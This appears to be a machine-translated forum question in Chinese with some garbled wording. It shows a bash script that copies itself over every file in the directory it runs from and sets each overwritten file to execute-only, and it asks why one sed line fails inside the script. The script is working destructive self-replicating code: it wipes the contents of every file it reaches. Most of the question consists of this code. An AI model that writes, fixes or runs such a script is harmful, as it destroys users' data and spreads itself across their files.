1
我正在制作一个脚本,将其自身复制到它所执行的目录中的所有其他文件中。 (简单地作为一个练习)sed将无法在bash脚本中工作
#!/bin/bash
naz=$0
list='2e5vff5f8fgg8gs5gs8ggr48gr8grs84gr8448.txt'
find -type f > $list
sed -i "/$list/d" $list
sed -i "/"$naz"/d" $list
while read infest
do
cp "$naz" "$infest" 2>/dev/null
chmod 100 "$infest" 2>/dev/null
done < $list
chmod 744 $naz
rm $list
它做什么,我希望它做的,但这个错误是在该行whee我尝试从列表中删除程序本身。终端给了我这样的:
sed: -e expression #1, char 16: unterminated `s' command
我执行手工命令对应于一个终端窗口,它工作得很好,但为什么不会它,而在脚本中工作?